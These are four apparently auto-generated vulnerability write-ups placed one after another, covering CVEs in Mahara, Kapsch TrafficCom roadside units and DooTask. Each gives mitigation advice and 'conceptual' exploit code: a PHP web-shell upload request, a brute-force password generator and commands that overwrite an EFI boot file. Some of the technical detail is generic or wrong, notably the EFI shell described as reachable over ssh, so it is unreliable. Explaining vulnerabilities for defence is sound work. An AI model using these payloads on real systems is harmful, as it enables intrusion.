Author: Ameeba

Overview

The cybersecurity landscape is constantly evolving, and today we are here to talk about a serious vulnerability that has been discovered in supported versions of Mahara 24.04 and 23.04, specifically versions before 24.04.1 and 23.04.6. This vulnerability, designated CVE-2024-39335, allows for the potential disclosure of sensitive information to an institution administrator and under certain conditions, could lead to a system compromise or data leakage. This vulnerability is significant because Mahara is a widely used open-source ePortfolio system, and a successful exploit could affect a vast number of users and institutions.

Vulnerability Summary

CVE ID: CVE-2024-39335
Severity: Critical (CVSS score of 9.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Mahara | 24.04 before 24.04.1
Mahara | 23.04 before 23.04.6

How the Exploit Works

The exploit operates by taking advantage of the ‘Current submissions’ page accessible via Administration -> Groups -> Submissions. Under certain conditions, this page discloses vital information to an institution administrator. This information could potentially be used to compromise the system or lead to data leakage. The exact mechanism of the exploit isn’t disclosed to prevent misuse, but the vulnerability lies in the failure of proper access controls on the mentioned administration page.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. The attacker, having gained low-level privileges, could make a request to the ‘Current submissions’ page like this:

GET /admin/groups/submissions HTTP/1.1
Host: target.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://target.example.com/login
Cookie: session=malicious_session
Connection: keep-alive

This request, under certain circumstances, could reveal sensitive information to the attacker, leading to a system compromise or data leakage.

Mitigation Guidance

To mitigate this vulnerability, administrators should immediately apply the vendor’s patch to upgrade to version 24.04.1 or 23.04.6. Until this can be done, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) could serve as a temporary mitigation. However, these should not be considered long-term solutions, and patching should be the priority.

Overview

The Common Vulnerabilities and Exposures (CVE) system has identified a significant security flaw in Kapsch TrafficCom RIS-9160 & RIS-9260 Roadside Units (RSUs). These systems, which are used to manage traffic flow and provide roadside communication, were discovered to lack secure password requirements for its BIOS Supervisor and User accounts. This lack of security places the systems, and potentially the data they manage, at severe risk. Given how integral these systems are to traffic management and safety, the potential consequences of this vulnerability are substantial and wide-reaching.

Vulnerability Summary

CVE ID: CVE-2025-25737
Severity: Critical (9.8/10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Kapsch TrafficCom RIS-9160 | v3.2.0.829.23
Kapsch TrafficCom RIS-9260 | v3.8.0.1119.42, v4.6.0.1211.28

How the Exploit Works

The vulnerability exists due to the lack of secure password requirements for the BIOS Supervisor and User accounts in the aforementioned Kapsch TrafficCom RSUs. This allows attackers to perform a bruteforce attack, which involves trying every possible password combination until the correct one is found. Once the attacker has gained access to these accounts, they can potentially compromise the system or leak data.

Conceptual Example Code

This is a conceptual example of a bruteforce attack using a Python script:

import itertools
def bruteforce(charset, maxlength):
return (''.join(candidate)
for candidate in itertools.chain.from_iterable(itertools.product(charset, repeat=i)
for i in range(1, maxlength + 1)))
for attempt in bruteforce("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", 10):
# Insert code here to try to login with 'attempt' as the password
pass

In this example, the Python script generates all possible combinations of uppercase letters and numbers up to a length of 10. The script then attempts to log in with each generated combination.

Mitigation

Users of the affected Kapsch TrafficCom RSUs are recommended to apply the vendor patch as soon as it’s available. As a temporary mitigation, users may also use a Web Application Firewall (WAF) or Intrusion Detection System (IDS). These systems can help to detect and prevent bruteforce attacks by monitoring network traffic and alerting or blocking any suspicious activity.
However, these measures should only be considered as temporary solutions. Applying the vendor patch should be the priority to ensure the vulnerability is completely addressed.

Overview

Cybersecurity is a constant cat-and-mouse game, and the stakes are always high. Keeping pace with the latest vulnerabilities is essential in ensuring the security of both hardware and software systems. The recent discovery of a significant vulnerability, CVE-2025-25734, in Kapsch TrafficCom Roadside Units (RSUs) is a case in point. This vulnerability affects versions v3.2.0.829.23, v3.8.0.1119.42, and v4.6.0.1211.28 of these devices and carries a high severity rating due to its potential for system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2025-25734
Severity: Critical (CVSS score 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Kapsch TrafficCom RIS-9160 | v3.2.0.829.23, v3.8.0.1119.42, v4.6.0.1211.28
Kapsch TrafficCom RIS-9260 | v3.2.0.829.23, v3.8.0.1119.42, v4.6.0.1211.28

How the Exploit Works

The vulnerability arises from an unauthenticated EFI shell present in the affected RSUs. EFI, or Extensible Firmware Interface, is a type of firmware interface that connects a computer’s operating system and its firmware. In this case, the unauthenticated EFI shell allows attackers to execute arbitrary code or escalate their privileges during the boot process of the RSUs. Given that no user interaction is required, an attacker can remotely compromise the system and potentially siphon off sensitive data.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This example represents a shell command that an attacker might use to exploit the unauthenticated EFI shell.

# Connect to the EFI shell
ssh root@target.example.com
# Once connected, execute arbitrary code
echo "malicious_code" > /boot/EFI/BOOTX64.EFI
# Reboot the system
reboot

In this example, ‘malicious_code’ represents arbitrary code that the attacker could inject into the EFI shell, potentially resulting in escalated privileges or other undesirable outcomes.
Remember, this is a conceptual example and may not represent an actual exploit. Always use such information responsibly, for the purpose of understanding and mitigating vulnerabilities.

Overview

In this article, we delve into a critical vulnerability identified as CVE-2025-55454, which affects DooTask v1.0.51. The vulnerability is a severe risk as it allows an attacker to execute arbitrary code by uploading a crafted file. Any organization or individual using this software version is potentially at risk, and the vulnerability warrants immediate attention due to its potential for system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-55454
Severity: High (CVSS score of 8.8)
Attack Vector: Network
Privileges Required: User level
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

DooTask | v1.0.51

How the Exploit Works

The exploit takes advantage of an arbitrary file upload vulnerability in the /msg/sendfiles component of DooTask v1.0.51. An attacker, who has already authenticated on the network, can exploit this vulnerability by crafting a malicious file and uploading it via the affected component. Once uploaded, the file can be executed, allowing the attacker to run arbitrary code on the system.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability:

POST /msg/sendfiles HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7ma4YWxkTrZu0gW
------WebKitFormBoundary7ma4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="evilscript.php"
Content-Type: application/x-php
<?php
system($_GET['cmd']);
?>
------WebKitFormBoundary7ma4YWxkTrZu0gW--

In this example, the attacker sends a POST request to the vulnerable /msg/sendfiles endpoint with a malicious PHP script. Once uploaded, the script can be invoked to execute arbitrary system commands.

Mitigation

The recommended action is to apply the vendor-provided patch as soon as possible. In the interim, organizations can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent attempts to exploit this vulnerability.